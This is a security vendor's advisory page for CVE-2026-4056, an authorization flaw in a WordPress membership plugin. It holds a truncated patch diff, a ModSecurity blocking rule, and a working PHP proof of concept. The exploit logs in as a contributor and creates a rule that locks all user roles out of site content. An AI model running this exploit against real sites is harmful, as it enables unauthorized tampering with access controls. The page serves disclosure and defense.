+++ b/user-registration/includes/admin/settings/class-ur-settings-general.php
@@ -114,17 +114,17 @@
 									'css'      => '',
 									'desc_tip' => true,
 								),
-								array(
-									'title'    => __( 'Thank You Page', 'user-registration' ),
-									'desc'     => sprintf( __( 'Confirmation page shown after successful registration or membership purchase. Use it to welcome new members and provide next steps. Add the Thank You block or [%s] shortcode to this page.', 'user-registration' ), apply_filters( 'user_registration_membership_thank_you_shortcode_tag', 'user_registration_membership_thank_you' ) ),
-									//phpcs:ignore
-									'id'       => 'user_registration_thank_you_page_id',
-									'type'     => 'single_select_page',
-									'default'  => '',
-									'class'    => 'ur-enhanced-select-nostd',
-									'css'      => '',
-									'desc_tip' => true,
-								),
+//								array(
+//									'title'    => __( 'Thank You Page', 'user-registration' ),
+//									'desc'     => sprintf( __( 'Confirmation page shown after successful registration or membership purchase. Use it to welcome new members and provide next steps. Add the Thank You block or [%s] shortcode to this page.', 'user-registration' ), apply_filters( 'user_registration_membership_thank_you_shortcode_tag', 'user_registration_membership_thank_you' ) ),
+//									//phpcs:ignore
+//									'id'       => 'user_registration_thank_you_page_id',
+//									'type'     => 'single_select_page',
+//									'default'  => '',
+//									'class'    => 'ur-enhanced-select-nostd',
+//									'css'      => '',
+//									'desc_tip' => true,
+//								),
 							),
 						),
 					),
--- a/user-registration/includes/admin/settings/class-ur-settings-import-export.php
+++ b/user-registration/includes/admin/settings/class-ur-settings-import-export.php
@@ -49,7 +49,7 @@
 			if( 'import-export' !== $current_section ) return $sections;

 			$sections = array(
-				''                    => __( 'Export Users', 'user-registration' ),
+				''                    => __( 'Export Members', 'user-registration' ),
 				'import-export-forms' => __( 'Import/Export Forms', 'user-registration' ),
 			);

--- a/user-registration/includes/admin/settings/class-ur-settings-membership.php
+++ b/user-registration/includes/admin/settings/class-ur-settings-membership.php
@@ -12,12 +12,13 @@
  * @version   5.0.0
  * @since     5.0.0
  */
+
 if ( ! class_exists( 'UR_Settings_Membership' ) ) {
 	/**
 	 * UR_Settings_Membership Class
 	 */
 	class UR_Settings_Membership extends UR_Settings_Page {
-		private static $_instance = null;
+		private static $_instance = null; // phpcs:ignore
 		/**
 		 * Constructor.
 		 */
@@ -27,6 +28,12 @@
 			parent::__construct();
 			$this->handle_hooks();
 		}
+
+		/**
+		 * Singleton class instance.
+		 *
+		 * @return UR_Settings_Membership
+		 */
 		public static function get_instance() {
 			if ( null === self::$_instance ) {
 				self::$_instance = new self();
@@ -35,14 +42,18 @@
 		}
 		/**
 		 * Register hooks for submenus and section UI.
+		 *
 		 * @return void
 		 */
 		public function handle_hooks() {
 			add_filter( "user_registration_get_sections_{$this->id}", array( $this, 'get_sections_callback' ), 1, 1 );
 			add_filter( "user_registration_get_settings_{$this->id}", array( $this, 'get_settings_callback' ), 1, 1 );
 		}
+
 		/**
 		 * Filter to provide sections submenu for membership settings.
+		 *
+		 * @param array $sections Settings section.
 		 */
 		public function get_sections_callback( $sections ) {
 			$sections['general']       = __( 'General', 'user-registration' );
@@ -50,8 +61,12 @@

 			return $sections;
 		}
+
 		/**
 		 * Filter to provide sections UI for membership settings.
+		 *
+		 * @param array $settings Settings array.
+		 * @return array
 		 */
 		public function get_settings_callback( $settings ) {
 			global $current_section;
@@ -70,6 +85,7 @@
 								'title'    => __( 'General', 'user-registration' ),
 								'type'     => 'card',
 								'desc'     => sprintf(
+									/* translators: %s - Admin URL for membership page settings */
 									__( '<strong>Membership page setting has moved.</strong> Configure your membership page <a href="%s">here</a>.', 'user-registration' ),
 									admin_url( 'admin.php?page=user-registration-settings&tab=general&section=pages' )
 								),
@@ -99,8 +115,13 @@
 			return $settings;
 		}

+		/**
+		 * Content restriction settings.
+		 *
+		 * @return array
+		 */
 		public function urcr_settings() {
-			// Build sections array
+			// Build sections array.
 			$sections = array();

 			$default_message = '<h3>' . __( 'Membership Required', 'user-registration' ) . '</h3>
@@ -135,8 +156,12 @@
 				),
 			);
 			$is_new_installation                                        = ur_string_to_bool( get_option( 'urm_is_new_installation', '' ) );
-			if ( $is_new_installation ) {
-				$sections['user_registration_content_restriction_settings']['desc'] = sprintf( __( '<strong>The Global Restriction setting has moved.</strong> You can now manage it <a href="%1$s" target="_blank" style="text-decoration: underline;" >here.</a>', 'user-registration' ), esc_url_raw( $content_rule_url ) );
+			if ( ! $is_new_installation ) {
+				$sections['user_registration_content_restriction_settings']['desc'] = sprintf(
+					/* translators: %s - Content rule URL */
+					__( '<strong>The Global Restriction setting has moved.</strong> You can now manage it <a href="%1$s" target="_blank" style="text-decoration: underline;" >here.</a>', 'user-registration' ),
+					esc_url_raw( $content_rule_url )
+				);
 			}

 			return apply_filters(
@@ -151,5 +176,5 @@
 	}
 }

-//Backward Compatibility.
+// Backward Compatibility.
 return method_exists( 'UR_Settings_Membership', 'get_instance' ) ? UR_Settings_Membership::get_instance() : new UR_Settings_Membership();
--- a/user-registration/includes/admin/settings/class-ur-settings-page.php
+++ b/user-registration/includes/admin/settings/class-ur-settings-page.php
@@ -33,6 +33,8 @@

 		/**
 		 * List of sections.
+		 *
+		 * @var array
 		 */
 		protected $sections = array();

@@ -59,6 +61,8 @@

 		/**
 		 * Get default section.
+		 *
+		 * @param string $default_section Default Section.
 		 */
 		public function get_default_section( $default_section ) {
 			return $this->get_sections() ? array_key_first( $this->get_sections() ) : $default_section;
@@ -109,7 +113,6 @@
 			/**
 			 * Backward compatibility: previous settings section.
 			 */
-			// $settings = apply_filters( 'user_registration_' . $this->id . '_settings', $settings );
 			return $settings;
 		}

@@ -135,6 +138,32 @@
 		public function output_sections() {
 			global $current_section;

+			$active_section = $current_section;
+
+			if ( 'email' === $this->id && is_string( $current_section ) && 0 === strpos( $current_section, 'ur_settings_' ) && method_exists( $this, 'get_emails' ) ) {
+				$emails = $this->get_emails();
+				if ( is_array( $emails ) ) {
+					foreach ( $emails as $email ) {
+						if ( ! isset( $email->id, $email->receiver ) ) {
+							continue;
+						}
+						if ( 'ur_settings_' . $email->id !== $current_section ) {
+							continue;
+						}
+						$receiver = strtolower( $email->receiver );
+						if ( 'admin' === $receiver ) {
+							$active_section = 'to-admin';
+						} elseif ( 'user' === $receiver ) {
+							$active_section = 'to-user';
+						}
+						break;
+					}
+				}
+			}
+
+			if ( 'email' === $this->id && is_string( $current_section ) && 0 === strpos( $current_section, 'ur_settings_custom_email_' ) ) {
+				$active_section = 'custom-email';
+			}
 			$sections = $this->get_sections();

 			if ( empty( $sections ) ) {
@@ -164,7 +193,7 @@
 						if ( isset( $premium_tab[ $id ]['plugin'] ) && is_plugin_active( $premium_tab[ $id ]['plugin'] . '/' . $premium_tab[ $id ]['plugin'] . '.php' ) && ( in_array( $premium_tab[ $id ]['plugin'], $tab_slugs ) || in_array( $id, $tab_slugs ) || in_array( $id_bc, $tab_slugs ) ) ) {
 							$show_section = false;
 						}
-						//woocommerce compatibility.
+						// woocommerce compatibility.
 						if ( 'woocommerce' === $id && ! is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
 							$show_section = false;
 						}
@@ -183,30 +212,42 @@
 				if ( $show_section ) {
 					ob_start();
 					?>
-					<li <?php echo ( $current_section === $id ? ' class="current" ' : '' ); ?>>
-						<a href="<?php echo esc_url( admin_url( 'admin.php?page=user-registration-settings&tab=' . $this->id . '&section=' . sanitize_title( $id ) ) ); ?>" class="<?php echo( $current_section === $id ? 'current' : '' ); ?> ur-scroll-ui__item">
+					<li <?php echo ( $active_section === $id ? ' class="current" ' : '' ); ?>>
+						<a href="<?php echo esc_url( admin_url( 'admin.php?page=user-registration-settings&tab=' . $this->id . '&section=' . sanitize_title( $id ) ) ); ?>" class="<?php echo( $active_section === $id ? 'current' : '' ); ?> ur-scroll-ui__item">
 							<span class="timeline"></span>
 							<span class="submenu"><?php echo esc_html( $label ); ?></span>
 							<?php if ( $show_premium_icon ) : ?>
-								<img style="width: 14px; height: 14px;margin-left: 4px;" src="<?php echo UR()->plugin_url() . '/assets/images/icons/ur-pro-icon.png'; ?>" />
-							<?php
+								<img style="width: 14px; height: 14px;margin-left: 4px;" src="<?php echo esc_url( UR()->plugin_url() . '/assets/images/icons/ur-pro-icon.png' ); ?>" />
+								<?php
 							endif;
 							?>
 						</a>
 					</li>
 					<?php
-					echo ob_get_clean();
+					echo ob_get_clean(); // phpcs:ignore
 				}
 			}

 			echo '</ul>';
 		}
+
+		/**
+		 * Get section parts.
+		 *
+		 * @return array
+		 */
 		public function get_section_parts() {
 			return apply_filters(
 				'user_registration_get_section_parts_' . $this->id,
-				array(),
+				array()
 			);
 		}
+
+		/**
+		 * Output section parts.
+		 *
+		 * @return void
+		 */
 		public function output_section_parts() {
 			global $current_section;
 			global $current_section_part;
@@ -225,7 +266,7 @@
 					</a>
 				</li>
 				<?php
-				echo ob_get_clean();
+				echo ob_get_clean(); // phpcs:ignore
 			}

 			echo '</ul>';
@@ -238,6 +279,11 @@
 			UR_Admin_Settings::output_fields( $settings );
 		}

+		/**
+		 * Upgrade to pro settings.
+		 *
+		 * @return array
+		 */
 		public function upgrade_to_pro_setting() {
 			global $current_section;
 			global $current_tab;
--- a/user-registration/includes/admin/settings/class-ur-settings-payment.php
+++ b/user-registration/includes/admin/settings/class-ur-settings-payment.php
@@ -15,46 +15,49 @@
 	 * UR_Settings_Payment Class
 	 */
 	class UR_Settings_Payment extends UR_Settings_Page {
-        private static $_instance = null;
+		private static $_instance = null;
 		/**
 		 * Constructor.
 		 */
 		private function __construct() {
 			$this->id    = 'payment';
 			$this->label = __( 'Payment', 'user-registration' );
-            parent::__construct();
-            $this->handle_hooks();
+			parent::__construct();
+			$this->handle_hooks();
 		}
-        public static function get_instance() {
-            if ( null === self::$_instance ) {
-                self::$_instance = new self();
-            }
-            return self::$_instance;
-        }
-        /**
-         * Register hooks for submenus and section UI.
-         * @return void
-         */
-        public function handle_hooks() {
-            add_filter( "user_registration_get_sections_{$this->id}",  array( $this, 'get_sections_callback' ), 1, 1 );
-            add_filter( "user_registration_get_settings_{$this->id}", array( $this, 'get_settings_callback' ), 1, 1 );
-
-			add_filter( 'urm_validate_bank_payment_section_before_update', array(
-				$this,
-				'validate_bank_section'
-			) );
+		public static function get_instance() {
+			if ( null === self::$_instance ) {
+				self::$_instance = new self();
+			}
+			return self::$_instance;
+		}
+		/**
+		 * Register hooks for submenus and section UI.
+		 * @return void
+		 */
+		public function handle_hooks() {
+			add_filter( "user_registration_get_sections_{$this->id}", array( $this, 'get_sections_callback' ), 1, 1 );
+			add_filter( "user_registration_get_settings_{$this->id}", array( $this, 'get_settings_callback' ), 1, 1 );
+
+			add_filter(
+				'urm_validate_bank_payment_section_before_update',
+				array(
+					$this,
+					'validate_bank_section',
+				)
+			);

 			add_action( 'urm_save_bank_payment_section', array( $this, 'save_section_settings' ), 10, 1 );
-        }
+		}

 		public function validate_bank_section( $form_data ) {
 			$response = array(
 				'status' => true,
 			);
-			if( isset($form_data['user_registration_bank_enabled']) && ! $form_data['user_registration_bank_enabled'] ) {
+			if ( isset( $form_data['user_registration_bank_enabled'] ) && ! $form_data['user_registration_bank_enabled'] ) {
 				return $response;
 			}
-			if ( empty( $form_data['user_registration_global_bank_details'] )) {
+			if ( empty( $form_data['user_registration_global_bank_details'] ) ) {
 				$response['status']  = false;
 				$response['message'] = 'Bank details cannot be empty';
 				return $response;
@@ -68,50 +71,60 @@
 			ur_save_settings_options( $section, $form_data );
 		}

-        /**
-         * Filter to provide sections submenu for payment settings.
-         */
-        public function get_sections_callback( $sections ) {
-            $sections[ 'payment-method' ] = __( 'Payment Method', 'user-registration' );
-            $sections[ 'store' ] = __( 'Store', 'user-registration' );
-            return $sections;
-        }
-        /**
-         * Filter to provide sections UI for payment settings.
-         */
-        public function get_settings_callback( $settings ) {
-            global $current_section;
-            if( ! in_array( $current_section, array( 'payment-method', 'store', 'tax-vat', 'invoices', 'payment-retry' ) ) ) return;
-            $general_settings = $this->get_general_settings();
-            $paypal_settings = $this->get_paypal_settings();
-            $stripe_settings = $this->get_stripe_settings();
-            $bank_transfer_settings = $this->get_bank_transfer_settings();
-            if( 'payment-method' === $current_section ) {
-                add_filter( 'user_registration_settings_hide_save_button', '__return_true' );
-                $settings = array(
-                    'title' => '',
-                    'sections' => array(
-                        'paypal_options' => $paypal_settings,
-                        'stripe_options' => $stripe_settings,
-                        'bank_transfer_options' => $bank_transfer_settings,
-                    ),
-                );
-                /* Backward compatibility */
-                $settings = apply_filters( 'user_registration_payment_settings', $settings );
-            } elseif( 'store' === $current_section ) {
-                add_filter( 'user_registration_settings_hide_save_button', '__return_true' );
-                $settings = array(
-                    'title' => '',
-                    'sections' => array(
-                        'general_options' => $general_settings,
-                    )
-                );
-            } else {
-                $settings = $this->upgrade_to_pro_setting();
-            }
-            return $settings;
-        }
-        /**
+		/**
+		 * Filter to provide sections submenu for payment settings.
+		 */
+		public function get_sections_callback( $sections ) {
+			$sections['payment-method'] = __( 'Payment Method', 'user-registration' );
+			$sections['store']          = __( 'Store', 'user-registration' );
+			return $sections;
+		}
+		/**
+		 * Filter to provide sections UI for payment settings.
+		 */
+		public function get_settings_callback( $settings ) {
+			global $current_section;
+			if ( ! in_array( $current_section, array( 'payment-method', 'store', 'tax-vat', 'invoices', 'payment-retry' ) ) ) {
+				return;
+			}
+			$general_settings       = $this->get_general_settings();
+			$paypal_settings        = $this->get_paypal_settings();
+			$stripe_settings        = $this->get_stripe_settings();
+			$bank_transfer_settings = $this->get_bank_transfer_settings();
+			if ( ! UR_PRO_ACTIVE ) {
+				$authorize_net_free_settings = $this->get_free_authorize_net_transfer_settings();
+				$mollie_free_settings        = $this->get_free_mollie_transfer_settings();
+			}
+			if ( 'payment-method' === $current_section ) {
+				add_filter( 'user_registration_settings_hide_save_button', '__return_true' );
+				$settings = array(
+					'title'    => '',
+					'sections' => array(
+						'paypal_options'        => $paypal_settings,
+						'stripe_options'        => $stripe_settings,
+						'bank_transfer_options' => $bank_transfer_settings,
+					),
+				);
+				if ( ! UR_PRO_ACTIVE ) {
+					$settings['sections']['mollie_free_options']        = $mollie_free_settings;
+					$settings['sections']['authorize_net_free_options'] = $authorize_net_free_settings;
+				}
+				/* Backward compatibility */
+				$settings = apply_filters( 'user_registration_payment_settings', $settings );
+			} elseif ( 'store' === $current_section ) {
+				add_filter( 'user_registration_settings_hide_save_button', '__return_true' );
+				$settings = array(
+					'title'    => '',
+					'sections' => array(
+						'general_options' => $general_settings,
+					),
+				);
+			} else {
+				$settings = $this->upgrade_to_pro_setting();
+			}
+			return $settings;
+		}
+		/**
 		 * Function to get general Settings
 		 */
 		public function get_general_settings() {
@@ -124,289 +137,320 @@
 			}

 			$settings = array(
-						'id'          => 'payment-settings',
-						'title'       => esc_html__( 'Store', 'user-registration' ),
-						'type'        => 'card',
-						'desc'        => '',
-						'show_status' => false,
-						'show_logo'   => false,
-						'settings'    => array(
-							array(
-								'title'    => __( 'Currency', 'user-registration' ),
-								'desc'     => __( 'This option lets you choose currency for payments.', 'user-registration' ),
-								'id'       => 'user_registration_payment_currency',
-								'default'  => 'USD',
-								'type'     => 'select',
-								'class'    => 'ur-enhanced-select',
-								'css'      => '',
-								'desc_tip' => true,
-								'options'  => $currencies_list,
-							),
-							array(
-								'title' => __( 'Save', 'user-registration' ),
-								'id'    => 'user_registration_payment_save_settings',
-								'type'  => 'button',
-								'class' => 'payment-settings-btn'
-							),
-						)
-			    );
-            return apply_filters( 'user_registration_payment_settings', $settings );
-		}
-
-        public function get_paypal_settings() {
-
-            $test_admin_email = get_option( 'user_registration_global_paypal_test_admin_email', '' );
-            $test_client_id = get_option( 'user_registration_global_paypal_test_client_id', '' );
-            $test_client_secret = get_option( 'user_registration_global_paypal_test_client_secret', '' );
-
-            $live_admin_email = get_option( 'user_registration_global_paypal_live_admin_email', '' );
-            $live_client_id = get_option( 'user_registration_global_paypal_live_client_id', '' );
-            $live_client_secret = get_option( 'user_registration_global_paypal_live_client_secret', '' );
-
-            $paypal_mode = get_option( 'user_registration_global_paypal_mode', '' );
-            $paypal_enabled = get_option( 'user_registration_paypal_enabled', '' );
-
-            if ( false === get_option( 'urm_global_paypal_settings_migrated_', false ) ) {
-                //runs for backward compatibility, could be removed in future versions.
-                if( 'test' === $paypal_mode ) {
-                    $test_admin_email   = get_option( 'user_registration_global_paypal_email_address', '' );
-                    $test_client_id     = get_option( 'user_registration_global_paypal_client_id', '' );
-                    $test_client_secret = get_option( 'user_registration_global_paypal_client_secret', '' );
-                } else {
-                    $live_admin_email   = get_option( 'user_registration_global_paypal_email_address', '' );
-                    $live_client_id     = get_option( 'user_registration_global_paypal_client_id', '' );
-                    $live_client_secret = get_option( 'user_registration_global_paypal_client_secret', '' );
-                }
-            }
-
-            // Determine default toggle value based on urm_is_new_installation option
-            $paypal_toggle_default = ur_string_to_bool(get_option( 'urm_is_new_installation', false )) ;
-
-            return array(
-                'title'        => __( 'Paypal', 'user-registration' ),
-                'type'         => 'accordian',
-                'id'           => 'paypal',
-                'desc'         => '',
-                'is_connected' => get_option( 'urm_paypal_connection_status', false ),
-                'settings'     => array(
-	                array(
-		                'type'     => 'toggle',
-		                'title'    => __( 'Enable PayPal', 'user-registration' ),
-		                'desc'     => __( 'Enable PayPal payment gateway.', 'user-registration' ),
-		                'id'       => 'user_registration_paypal_enabled',
-		                'desc_tip' => true,
-		                'default'  => ($paypal_enabled) ? $paypal_enabled : !$paypal_toggle_default,
-		                'class'    => 'urm_toggle_pg_status',
-	                ),
-                    array(
-                        'id'       => 'user_registration_global_paypal_mode',
-                        'type'     => 'select',
-                        'title'    => __( 'Mode', 'user-registration' ),
-                        'desc'     => __( 'Select a mode to run paypal.', 'user-registration' ),
-                        'desc_tip' => true,
-                        'options'  => array(
-                            'production' => __( 'Production', 'user-registration' ),
-                            'test'       => __( 'Test/Sandbox', 'user-registration' ),
-                        ),
-                        'class'    => 'ur-enhanced-select',
-                        'default'  => $paypal_mode,
-                    ),
-                    array(
-                        'type'        => 'text',
-                        'title'       => __( 'Cancel Url', 'user-registration' ),
-                        'desc'        => __( 'Endpoint set for handling paypal cancel api.', 'user-registration' ),
-                        'desc_tip'    => true,
-                        'id'          => 'user_registration_global_paypal_cancel_url',
-                        'default'     => get_option( 'user_registration_global_paypal_cancel_url' ),
-                        'placeholder' => esc_url( home_url() ),
-                    ),
-                    array(
-                        'type'        => 'text',
-                        'title'       => __( 'Return Url', 'user-registration' ),
-                        'desc'        => __( 'Redirect url after the payment process, also used as notify_url for Paypal IPN.', 'user-registration' ),
-                        'desc_tip'    => true,
-                        'id'          => 'user_registration_global_paypal_return_url',
-                        'default'     => get_option( 'user_registration_global_paypal_return_url' ),
-                        'placeholder' => esc_url( wp_login_url() ),
-                    ),
-                    array(
-                        'type'        => 'text',
-                        'title'       => __( 'PayPal Email Address', 'user-registration' ),
-                        'desc'        => __( 'Enter your PayPal email address in sandbox/test mode.', 'user-registration' ),
-                        'desc_tip'    => true,
-                        'required'    => true,
-                        'id'          => 'user_registration_global_paypal_test_email_address',
-                        'default'     => $test_admin_email,
-                        'placeholder' => $test_admin_email
-                    ),
-                    array(
-                        'type'     => 'text',
-                        'title'    => __( 'Client ID', 'user-registration' ),
-                        'desc'     => __( 'Client ID for PayPal in sandbox/test mode.', 'user-registration' ),
-                        'desc_tip' => true,
-                        'id'       => 'user_registration_global_paypal_test_client_id',
-                        'default'  => $test_client_id,
-                    ),
-                    array(
-                        'type'     => 'text',
-                        'title'    => __( 'Client Secret', 'user-registration' ),
-                        'desc'     => __( 'Client Secret for PayPal in sandbox/test mode.', 'user-registration' ),
-                        'desc_tip' => true,
-                        'id'       => 'user_registration_global_paypal_test_client_secret',
-                        'default'  => $test_client_secret,
-                    ),
-                    array(
-                        'type'        => 'text',
-                        'title'       => __( 'PayPal Email Address', 'user-registration' ),
-                        'desc'        => __( 'Enter your PayPal email address.', 'user-registration' ),
-                        'desc_tip'    => true,
-                        'required'    => true,
-                        'id'          => 'user_registration_global_paypal_live_email_address',
-                        'default'     => $live_admin_email,
-                        'placeholder' => $live_admin_email,
-                    ),
-                    array(
-                        'type'     => 'text',
-                        'title'    => __( 'Client ID', 'user-registration' ),
-                        'desc'     => __( 'Your client_id, Required for subscription related operations.', 'user-registration' ),
-                        'desc_tip' => true,
-                        'id'       => 'user_registration_global_paypal_live_client_id',
-                        'default'  => $live_client_id,
-                    ),
-                    array(
-                        'type'     => 'text',
-                        'title'    => __( 'Client Secret', 'user-registration' ),
-                        'desc'     => __( 'Your client_secret, Required for subscription related operations.', 'user-registration' ),
-                        'desc_tip' => true,
-                        'id'       => 'user_registration_global_paypal_live_client_secret',
-                        'default'  => $live_client_secret,
-                    ),
-                    array(
-                        'title' => __( 'Save', 'user-registration' ),
-                        'id'    => 'user_registration_paypal_save_settings',
-                        'type'  => 'button',
-                        'class' => 'payment-settings-btn',
-                    ),
-                ),
-            );
-        }
-        public function get_stripe_settings() {
-            $stripe_enabled = get_option( 'user_registration_stripe_enabled', '' );
-
-            // Determine default toggle value based on urm_is_new_installation option
-            $stripe_toggle_default = ur_string_to_bool(get_option( 'urm_is_new_installation', false ));
-
-            return array(
-                'id'           => 'stripe',
-                'title'        => __( 'Stripe', 'user-registration' ),
-                'type'         => 'accordian',
-                'show_status'  => false,
-                'desc'         => '',
-                'is_connected' => get_option( 'urm_stripe_connection_status', false ),
-                'settings'     => array(
-                    array(
-                        'type'     => 'toggle',
-                        'title'    => __( 'Enable Stripe', 'user-registration' ),
-                        'desc'     => __( 'Enable Stripe payment gateway.', 'user-registration' ),
-                        'id'       => 'user_registration_stripe_enabled',
-                        'desc_tip' => true,
-                        'default'  => ($stripe_enabled) ? $stripe_enabled : !$stripe_toggle_default,
-                        'class'    => 'urm_toggle_pg_status',
-                    ),
-                    array(
-                        'type'     => 'toggle',
-                        'title'    => __( 'Enable Test Mode', 'user-registration' ),
-                        'desc'     => __( 'Check if using test mode.', 'user-registration' ),
-                        'id'       => 'user_registration_stripe_test_mode',
-                        'desc_tip' => true,
-                        'default'  => '',
-                    ),
-                    array(
-                        'title'    => __( 'Publishable key', 'user-registration' ),
-                        'desc'     => __( 'Stripe publishable key in test mode.', 'user-registration' ),
-                        'id'       => 'user_registration_stripe_test_publishable_key',
-                        'type'     => 'text',
-                        'css'      => 'min-width: 350px',
-                        'desc_tip' => true,
-                        'default'  => '',
-                    ),
-                    array(
-                        'tit

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-4056
SecRule REQUEST_URI "@rx ^/wp-json/user-registration/v1/content-access-rules" 
    "id:1004056,phase:2,deny,status:403,chain,msg:'CVE-2026-4056 - Unauthorized Content Access Rule Manipulation in User Registration & Membership Plugin',severity:'CRITICAL',tag:'CVE-2026-4056',tag:'WordPress',tag:'Plugin',tag:'User-Registration',tag:'Authorization-Bypass'"
    SecRule &ARGS:rest_route "@eq 0" 
        "chain"
        SecRule REQUEST_METHOD "@rx ^(POST|PUT|PATCH|DELETE)$" 
            "chain"
            SecRule REQUEST_HEADERS:X-WP-Nonce "!@rx ^[a-f0-9]{10}$" 
                "chain"
                SecRule &REQUEST_COOKIES:/^wordpress_logged_in_/ "@eq 0" 
                    "t:none,setvar:'tx.cve_2026_4056_block=1'"

SecRule TX:cve_2026_4056_block "@eq 1" 
    "id:1004057,phase:2,deny,status:403,msg:'CVE-2026-4056 - Blocking unauthorized content access rule manipulation attempt',severity:'CRITICAL',tag:'CVE-2026-4056'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4056 - User Registration & Membership <= 5.1.4 - Missing Authorization to Authenticated (Contributor+) Content Access Rule Manipulation

<?php

$target_url = 'https://vulnerable-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Step 1: Authenticate with WordPress to obtain a nonce and cookies for REST API requests.
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $admin_url,
    'testcookie' => '1'
)));
$response = curl_exec($ch);

// Step 2: Extract the REST API nonce from the admin page.
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
preg_match('/"rest_nonce":"([a-f0-9]+)"/', $response, $matches);
$rest_nonce = $matches[1] ?? '';

// Step 3: Exploit the missing authorization by listing all content access rules.
// The vulnerable endpoint is /wp-json/user-registration/v1/content-access-rules/.
$api_url = $target_url . '/wp-json/user-registration/v1/content-access-rules/';
curl_setopt($ch, CURLOPT_URL, $api_url);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'X-WP-Nonce: ' . $rest_nonce,
    'Content-Type: application/json'
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code === 200) {
    echo "[+] Successfully listed content access rules as a Contributor.n";
    $rules = json_decode($response, true);
    print_r($rules);
    
    // Step 4: Demonstrate creating a malicious rule to block all users.
    $malicious_rule = array(
        'title' => 'Atomic Edge Block Rule',
        'status' => 'active',
        'rules' => array(
            array(
                'type' => 'user_role',
                'operator' => 'not_in',
                'value' => array('administrator', 'editor', 'author', 'contributor', 'subscriber')
            )
        ),
        'content' => array('all')
    );
    
    curl_setopt($ch, CURLOPT_URL, $api_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($malicious_rule));
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    if ($http_code === 200 || $http_code === 201) {
        echo "[+] Successfully created malicious content access rule.n";
        print_r(json_decode($response, true));
    } else {
        echo "[-] Failed to create rule. HTTP Code: $http_coden";
    }
} else {
    echo "[-] Exploit failed. HTTP Code: $http_coden";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School